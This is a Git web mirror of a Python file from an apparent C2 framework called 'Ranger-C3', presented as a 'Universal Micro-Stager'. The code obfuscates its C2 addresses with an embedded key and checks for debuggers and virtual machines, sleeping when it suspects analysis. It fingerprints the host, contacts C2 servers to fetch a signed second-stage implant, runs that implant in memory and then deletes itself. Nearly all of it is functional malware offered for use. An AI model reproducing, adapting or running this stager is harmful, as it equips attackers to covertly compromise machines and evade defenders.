mirror of
https://git.churchofmalware.org/ek0mssavi0r/Ranger-C3
synced 2026-09-24 08:34:47 +00:00
423 lines
14 KiB
Python
423 lines
14 KiB
Python
#!/usr/bin/env python3
|
||
"""
|
||
Universal Micro-Stager for RANGER Phase 2
|
||
|
||
"""
|
||
|
||
import os
|
||
import sys
|
||
import time
|
||
import json
|
||
import base64
|
||
import hashlib
|
||
import platform
|
||
import urllib.request
|
||
import urllib.parse
|
||
import random
|
||
import socket
|
||
import subprocess
|
||
import tempfile
|
||
import importlib.abc
|
||
import importlib.util
|
||
from typing import Dict, List, Optional, Tuple, Any, Set
|
||
import ssl
|
||
|
||
# ---------- Advanced string obfuscation ----------
|
||
_MASTER_KEY = b'R0gu3R4NG3R_M45t3r_K3y_2026' # 24 bytes; rotate periodically
|
||
|
||
def _decrypt_string(enc_data: bytes) -> str:
|
||
"""Decrypt a string using per‑nonce derived key."""
|
||
nonce = enc_data[:16]
|
||
ciphertext = enc_data[16:]
|
||
key = hashlib.sha256(_MASTER_KEY + nonce).digest()
|
||
dec = bytes(ciphertext[i] ^ key[i % len(key)] for i in range(len(ciphertext)))
|
||
return dec.decode('utf-8')
|
||
|
||
def d(s: str) -> str:
|
||
"""Decode base64, then decrypt."""
|
||
return _decrypt_string(base64.b64decode(s))
|
||
|
||
# All sensitive strings are stored encrypted (replace with your own)
|
||
C2_URLS = [
|
||
d('BASE64_ENCRYPTED_STRING_1'),
|
||
d('BASE64_ENCRYPTED_STRING_2')
|
||
]
|
||
HANDSHAKE_PATH = d('BASE64_ENCRYPTED_HANDSHAKE')
|
||
STAGE2_PATH = d('BASE64_ENCRYPTED_STAGE2')
|
||
USER_AGENTS = [
|
||
d('BASE64_ENCRYPTED_UA_1'),
|
||
d('BASE64_ENCRYPTED_UA_2')
|
||
]
|
||
|
||
# Ed25519 public key (embedded, encrypted)
|
||
PUBLIC_KEY_B64 = d('BASE64_ENCRYPTED_PUBKEY')
|
||
|
||
try:
|
||
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey
|
||
from cryptography.exceptions import InvalidSignature
|
||
CRYPTO_AVAILABLE = True
|
||
except ImportError:
|
||
CRYPTO_AVAILABLE = False
|
||
|
||
# ---------- Platform detection ----------
|
||
IS_WINDOWS = platform.system().lower() == 'windows'
|
||
IS_LINUX = platform.system().lower() == 'linux'
|
||
IS_MACOS = platform.system().lower() == 'darwin'
|
||
|
||
ARCH = platform.machine()
|
||
HOSTNAME = platform.node()
|
||
|
||
# ---------- Lightweight anti-analysis helpers ----------
|
||
def _get_mac() -> str:
|
||
try:
|
||
import uuid
|
||
mac = uuid.getnode()
|
||
if (mac >> 40) % 2 == 0:
|
||
return ':'.join(('%012X' % mac)[i:i+2] for i in range(0, 12, 2))
|
||
except:
|
||
pass
|
||
return ''
|
||
|
||
def _get_disk_serial() -> str:
|
||
if IS_WINDOWS:
|
||
try:
|
||
out = subprocess.check_output('wmic diskdrive get serialnumber', shell=True, timeout=5)
|
||
return out.decode().strip().split('\n')[-1].strip()
|
||
except:
|
||
pass
|
||
elif IS_LINUX:
|
||
try:
|
||
with open('/etc/machine-id', 'r') as f:
|
||
return f.read().strip()
|
||
except:
|
||
pass
|
||
return ''
|
||
|
||
def _check_debugger() -> bool:
|
||
"""Detect debugger via OS APIs (low‑noise)."""
|
||
if IS_WINDOWS:
|
||
try:
|
||
import ctypes
|
||
kernel32 = ctypes.windll.kernel32
|
||
return kernel32.IsDebuggerPresent() != 0
|
||
except:
|
||
pass
|
||
elif IS_LINUX:
|
||
try:
|
||
with open('/proc/self/status', 'r') as f:
|
||
for line in f:
|
||
if line.startswith('TracerPid:'):
|
||
return line.split()[1] != '0'
|
||
except:
|
||
pass
|
||
return False
|
||
|
||
def _check_sandbox_mac() -> bool:
|
||
"""Check if MAC address matches known VM OUI (lightweight)."""
|
||
mac = _get_mac()
|
||
if mac:
|
||
vm_ouis = ['00:50:56', '00:0C:29', '00:05:69', '08:00:27']
|
||
for o in vm_ouis:
|
||
if mac.startswith(o):
|
||
return True
|
||
return False
|
||
|
||
def _timing_evasion(min_delay=5, max_delay=15):
|
||
time.sleep(random.uniform(min_delay, max_delay))
|
||
|
||
# ---------- Hardware fingerprint ----------
|
||
def _generate_fingerprint() -> str:
|
||
mac = _get_mac()
|
||
disk = _get_disk_serial()
|
||
data = f"{mac}:{disk}:{HOSTNAME}:{platform.system()}:{ARCH}"
|
||
return hashlib.sha256(data.encode()).hexdigest()[:32]
|
||
|
||
# ---------- Memory-only module loader ----------
|
||
class _MemLoader(importlib.abc.Loader):
|
||
def __init__(self, code: str):
|
||
self.code = code
|
||
def exec_module(self, module):
|
||
exec(self.code, module.__dict__)
|
||
|
||
def _load_module(name: str, code: str):
|
||
spec = importlib.util.spec_from_loader(name, loader=_MemLoader(code))
|
||
module = importlib.util.module_from_spec(spec)
|
||
spec.loader.exec_module(module)
|
||
return module
|
||
|
||
# ---------- Core Stager ----------
|
||
class _S:
|
||
def __init__(self, debug=False):
|
||
self.cfg = self._load_cfg()
|
||
self.fp = _generate_fingerprint()
|
||
self.debug = debug
|
||
self.skey = None
|
||
self.base = None
|
||
self.seen_nonces: Set[str] = set()
|
||
self.ctx = ssl.create_default_context()
|
||
# Optionally load custom CA
|
||
# self.ctx.load_verify_locations(cafile='ca.pem')
|
||
|
||
def _load_cfg(self) -> Dict:
|
||
return {
|
||
'c2_urls': C2_URLS,
|
||
'handshake': HANDSHAKE_PATH,
|
||
'stage2': STAGE2_PATH,
|
||
'timeout': 30,
|
||
'retries': 3,
|
||
'jitter': (5, 15),
|
||
'min_uptime': 300,
|
||
'min_disk_gb': 10,
|
||
'self_destruct': True
|
||
}
|
||
|
||
def _log(self, msg: str):
|
||
if self.debug:
|
||
print(f"[STAGER] {msg}")
|
||
|
||
# -----------------------------------------------------------------
|
||
# Minimal Safety Checks
|
||
# -----------------------------------------------------------------
|
||
def _run_checks(self) -> bool:
|
||
"""Return True if environment seems safe (low confidence)."""
|
||
checks_passed = 0
|
||
|
||
# Uptime check (lightweight)
|
||
try:
|
||
if IS_LINUX:
|
||
with open('/proc/uptime') as f:
|
||
uptime = float(f.read().split()[0])
|
||
if uptime >= self.cfg['min_uptime']:
|
||
checks_passed += 1
|
||
elif IS_WINDOWS:
|
||
import ctypes
|
||
ticks = ctypes.windll.kernel32.GetTickCount64() / 1000
|
||
if ticks >= self.cfg['min_uptime']:
|
||
checks_passed += 1
|
||
elif IS_MACOS:
|
||
import subprocess
|
||
out = subprocess.check_output(['sysctl', '-n', 'kern.boottime'], text=True)
|
||
boot = int(out.split()[3].rstrip(','))
|
||
uptime = int(time.time()) - boot
|
||
if uptime >= self.cfg['min_uptime']:
|
||
checks_passed += 1
|
||
except:
|
||
pass
|
||
|
||
# Disk size check (lightweight)
|
||
try:
|
||
if IS_LINUX or IS_MACOS:
|
||
import shutil
|
||
usage = shutil.disk_usage('/')
|
||
total_gb = usage.total / (1024**3)
|
||
if total_gb >= self.cfg['min_disk_gb']:
|
||
checks_passed += 1
|
||
elif IS_WINDOWS:
|
||
import ctypes
|
||
kernel32 = ctypes.windll.kernel32
|
||
total_bytes = ctypes.c_ulonglong(0)
|
||
kernel32.GetDiskFreeSpaceExW('C:\\', None, ctypes.byref(total_bytes), None)
|
||
total_gb = total_bytes.value / (1024**3)
|
||
if total_gb >= self.cfg['min_disk_gb']:
|
||
checks_passed += 1
|
||
except:
|
||
pass
|
||
|
||
# Debugger presence (lightweight)
|
||
if not _check_debugger():
|
||
checks_passed += 1
|
||
|
||
# MAC OUI check (lightweight)
|
||
if not _check_sandbox_mac():
|
||
checks_passed += 1
|
||
|
||
# Require at least 3 out of 4 checks to pass
|
||
return checks_passed >= 3
|
||
|
||
# -----------------------------------------------------------------
|
||
# C2 Communication
|
||
# -----------------------------------------------------------------
|
||
def _jitter(self):
|
||
time.sleep(random.uniform(*self.cfg['jitter']))
|
||
|
||
def _handshake(self, base: str) -> bool:
|
||
url = base.rstrip('/') + self.cfg['handshake']
|
||
try:
|
||
data = {
|
||
'fp': self.fp,
|
||
'platform': platform.system(),
|
||
'arch': ARCH,
|
||
'ts': int(time.time())
|
||
}
|
||
req = urllib.request.Request(url, data=json.dumps(data).encode(),
|
||
headers={'Content-Type': 'application/json'},
|
||
method='POST')
|
||
with urllib.request.urlopen(req, timeout=self.cfg['timeout'],
|
||
context=self.ctx) as resp:
|
||
if resp.getcode() == 200:
|
||
j = json.loads(resp.read().decode())
|
||
if 'key' in j:
|
||
self.skey = j['key'].encode()
|
||
self.base = base
|
||
self._log(f"Handshake successful with {base}")
|
||
return True
|
||
except Exception as e:
|
||
self._log(f"Handshake error: {e}")
|
||
return False
|
||
|
||
def _verify_sig(self, payload: bytes, sig_b64: str, ts: int, nonce: str) -> bool:
|
||
if not CRYPTO_AVAILABLE:
|
||
return False
|
||
try:
|
||
pub = Ed25519PublicKey.from_public_bytes(base64.b64decode(PUBLIC_KEY_B64))
|
||
sig = base64.b64decode(sig_b64)
|
||
now = int(time.time())
|
||
if abs(now - ts) > 300:
|
||
self._log("Timestamp out of window")
|
||
return False
|
||
if len(nonce) < 8 or nonce in self.seen_nonces:
|
||
self._log("Replay detected")
|
||
return False
|
||
self.seen_nonces.add(nonce)
|
||
data = payload + str(ts).encode() + nonce.encode()
|
||
pub.verify(sig, data)
|
||
return True
|
||
except InvalidSignature:
|
||
self._log("Invalid signature")
|
||
except Exception as e:
|
||
self._log(f"Signature verification error: {e}")
|
||
return False
|
||
|
||
def download_stage2(self) -> Tuple[bool, Optional[bytes]]:
|
||
self._log("Downloading Stage 2")
|
||
_timing_evasion(2, 8)
|
||
|
||
if not self._run_checks():
|
||
self._log("Safety checks failed, going dormant")
|
||
time.sleep(3600 + random.randint(0, 600))
|
||
if not self._run_checks():
|
||
return False, None
|
||
|
||
for base in self.cfg['c2_urls']:
|
||
self._jitter()
|
||
if not self.skey:
|
||
if not self._handshake(base):
|
||
continue
|
||
|
||
stage2_url = base.rstrip('/') + self.cfg['stage2']
|
||
try:
|
||
headers = {'User-Agent': random.choice(USER_AGENTS)}
|
||
req = urllib.request.Request(stage2_url, headers=headers, method='GET')
|
||
with urllib.request.urlopen(req, timeout=self.cfg['timeout'],
|
||
context=self.ctx) as resp:
|
||
if resp.getcode() == 200:
|
||
sig = resp.headers.get('X-Signature')
|
||
ts = resp.headers.get('X-Timestamp')
|
||
nonce = resp.headers.get('X-Nonce')
|
||
if not (sig and ts and nonce):
|
||
self._log("Missing signature metadata")
|
||
continue
|
||
try:
|
||
ts = int(ts)
|
||
except:
|
||
continue
|
||
data = resp.read()
|
||
if self._verify_sig(data, sig, ts, nonce):
|
||
self._log("Signature verified")
|
||
return True, data
|
||
else:
|
||
self._log("Invalid signature")
|
||
except Exception as e:
|
||
self._log(f"Download error: {e}")
|
||
|
||
self.skey = None
|
||
self.base = None
|
||
|
||
self._log("All download attempts failed")
|
||
return False, None
|
||
|
||
# -----------------------------------------------------------------
|
||
# Payload Execution (Memory‑only) – passes env vars to implant
|
||
# -----------------------------------------------------------------
|
||
def _exec_py(self, data: bytes) -> bool:
|
||
# Prepare environment for implant
|
||
if self.skey:
|
||
os.environ['ROGUE_SESSION_KEY'] = base64.b64encode(self.skey).decode()
|
||
if self.base:
|
||
# Parse host and port from base URL
|
||
parsed = urllib.parse.urlparse(self.base)
|
||
c2_host = parsed.hostname
|
||
c2_port = parsed.port or 443
|
||
implant_config = {
|
||
'c2_host': c2_host,
|
||
'c2_port': c2_port,
|
||
'beacon_interval': 60,
|
||
'use_phase1': True
|
||
}
|
||
os.environ['ROGUE_CONFIG'] = json.dumps(implant_config)
|
||
os.environ['ROGUE_STAGE2'] = '1' # indicate stage2
|
||
|
||
try:
|
||
code = data.decode('utf-8')
|
||
mod = _load_module("rogue_implant", code)
|
||
if hasattr(mod, 'main'):
|
||
import threading
|
||
t = threading.Thread(target=mod.main)
|
||
t.daemon = True
|
||
t.start()
|
||
self._log("Implant started")
|
||
return True
|
||
except Exception as e:
|
||
self._log(f"Python exec error: {e}")
|
||
return False
|
||
|
||
# -----------------------------------------------------------------
|
||
# Self‑Destruct
|
||
# -----------------------------------------------------------------
|
||
def _self_destruct(self):
|
||
if not self.cfg.get('self_destruct'):
|
||
return
|
||
try:
|
||
exe = sys.argv[0]
|
||
if IS_WINDOWS:
|
||
# Use a batch file to delete after exit (common in installers)
|
||
with open('delme.bat', 'w') as f:
|
||
f.write(f"@echo off\nping 127.0.0.1 -n 3 > nul\ndel {exe}\n")
|
||
subprocess.Popen('delme.bat', shell=True)
|
||
else:
|
||
os.unlink(exe)
|
||
self._log("Self-destruct initiated")
|
||
except Exception as e:
|
||
self._log(f"Self-destruct error: {e}")
|
||
|
||
# -----------------------------------------------------------------
|
||
# Main
|
||
# -----------------------------------------------------------------
|
||
def run(self) -> bool:
|
||
print(f"Universal Stager - {platform.system()} {ARCH}")
|
||
ok, stage2 = self.download_stage2()
|
||
if not ok:
|
||
return False
|
||
|
||
if self._exec_py(stage2):
|
||
self._self_destruct()
|
||
return True
|
||
|
||
return False
|
||
|
||
def main():
|
||
# Enable debug logging via environment variable (optional)
|
||
debug = os.environ.get('ROGUE_DEBUG', '').lower() in ('1', 'true', 'yes')
|
||
s = _S(debug=debug)
|
||
try:
|
||
return 0 if s.run() else 1
|
||
except KeyboardInterrupt:
|
||
return 130
|
||
except Exception as e:
|
||
if debug:
|
||
print(f"Unhandled exception: {e}")
|
||
return 1
|
||
|
||
if __name__ == "__main__":
|
||
sys.exit(main())
|